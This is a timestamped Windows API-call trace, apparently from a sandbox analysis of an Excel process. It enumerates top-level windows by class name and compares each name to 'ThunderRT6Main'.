	[0224.651] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0224.651] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.651] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0224.651] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0224.651] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0224.651] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x202b0
	[0224.651] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0224.651] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0224.651] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.651] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784
	[0224.651] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0224.651] IsWindowEnabled (hWnd=0x202b0) returned 1
	[0224.651] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x0
	[0224.651] SetPropA (hWnd=0x202b0, lpString=0xc13a, hData=0x1) returned 1
	[0224.651] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0
	[0224.652] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0224.652] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0224.652] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0224.652] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.652] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0224.652] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0224.652] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0224.652] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0224.652] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.652] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0224.652] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0224.652] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0224.652] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0224.652] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0224.652] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0224.652] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.652] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704
	[0224.657] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0224.657] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0224.657] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0224.658] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.658] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.658] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.658] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0224.658] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0224.658] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0224.658] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0224.658] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.658] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.658] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.658] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0224.658] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0224.658] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0224.658] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0224.658] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.658] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.658] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.658] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0224.658] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0224.658] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0224.658] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0224.658] GetClassNameA (in: hWnd=0x10210, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.658] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.658] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.658] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0224.658] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0224.658] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0224.658] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x802a0
	[0224.658] GetClassNameA (in: hWnd=0x802a0, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0224.658] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0224.658] GetWindowThreadProcessId (in: hWnd=0x802a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaa8
	[0224.658] GetWindow (hWnd=0x802a0, uCmd=0x2) returned 0xc028a
	[0224.658] GetClassNameA (in: hWnd=0xc028a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0224.658] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0224.658] GetWindowThreadProcessId (in: hWnd=0xc028a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbe8
	[0224.658] GetWindow (hWnd=0xc028a, uCmd=0x2) returned 0x7010a
	[0224.658] GetClassNameA (in: hWnd=0x7010a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.658] GetWindowThreadProcessId (in: hWnd=0x7010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbe8
	[0224.658] GetWindow (hWnd=0x7010a, uCmd=0x2) returned 0x10296
	[0224.658] GetClassNameA (in: hWnd=0x10296, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0224.658] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0224.658] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0224.659] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0224.659] GetClassNameA (in: hWnd=0x30214, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0224.659] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0224.659] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.659] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0224.659] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0224.659] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0224.659] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0224.659] GetClassNameA (in: hWnd=0x101de, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.659] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.659] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.659] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0224.659] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0224.659] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0224.659] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0224.659] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.659] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.659] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.659] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0224.659] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0224.659] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0224.659] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0224.659] GetClassNameA (in: hWnd=0x101da, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.659] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.659] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.659] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0224.659] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0224.659] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0224.659] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0224.659] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0224.659] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0224.659] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.659] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0224.659] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0224.659] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0224.659] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0224.659] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0224.659] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0224.659] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.659] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0224.659] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0224.659] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0224.659] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0224.659] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0224.659] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0224.659] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0224.659] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0224.660] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0224.660] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0224.660] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.660] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0224.660] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0224.660] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0224.660] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0224.660] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.660] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0224.660] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0224.660] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0224.660] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0224.660] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0224.660] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0224.660] GetClassNameA (in: hWnd=0x20206, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0224.660] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0224.660] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.660] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0224.660] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0224.660] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0224.660] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0224.660] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0224.660] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0224.660] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0224.660] GetClassNameA (in: hWnd=0x10198, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0224.660] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0224.660] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0224.660] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0224.660] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.660] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0224.660] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0224.660] GetClassNameA (in: hWnd=0x10194, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0224.660] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0224.660] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0224.660] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0224.660] GetClassNameA (in: hWnd=0x10196, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.660] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0224.660] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0224.660] GetClassNameA (in: hWnd=0x10190, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0224.660] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0224.661] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0224.661] GetClassNameA (in: hWnd=0x10192, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0224.661] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0224.661] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0224.661] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0224.661] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0224.661] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0224.661] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0224.661] GetClassNameA (in: hWnd=0x10188, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0224.661] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0224.661] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0224.661] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0224.661] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0224.661] GetClassNameA (in: hWnd=0x10184, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0224.661] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0224.661] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0224.661] GetClassNameA (in: hWnd=0x10186, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0224.661] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0224.661] GetClassNameA (in: hWnd=0x10180, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0224.661] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0224.661] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0224.661] GetClassNameA (in: hWnd=0x20182, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.661] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0224.661] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0224.661] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0224.661] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0224.662] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0224.662] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.662] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0224.662] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0224.662] GetClassNameA (in: hWnd=0x10178, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0224.662] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0224.662] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0224.662] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.662] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0224.662] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0224.662] GetClassNameA (in: hWnd=0x10174, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0224.662] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0224.662] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0224.662] GetClassNameA (in: hWnd=0x10176, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.662] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0224.662] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0224.662] GetClassNameA (in: hWnd=0x10170, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0224.662] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0224.662] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0224.662] GetClassNameA (in: hWnd=0x10172, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.662] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0224.662] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0224.662] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0224.662] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0224.662] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0224.662] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.662] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.662] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0224.662] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0224.663] GetClassNameA (in: hWnd=0x10166, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0224.663] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0224.663] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0224.663] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0224.663] GetClassNameA (in: hWnd=0x10168, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.663] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.663] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0224.663] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0224.663] GetClassNameA (in: hWnd=0x10162, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0224.663] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0224.663] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0224.663] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0224.663] GetClassNameA (in: hWnd=0x10164, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.663] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0224.663] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0224.663] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0224.663] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0224.663] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0224.663] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0224.663] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0224.663] GetClassNameA (in: hWnd=0x10160, lpClassName=0x2889d0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0224.663] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
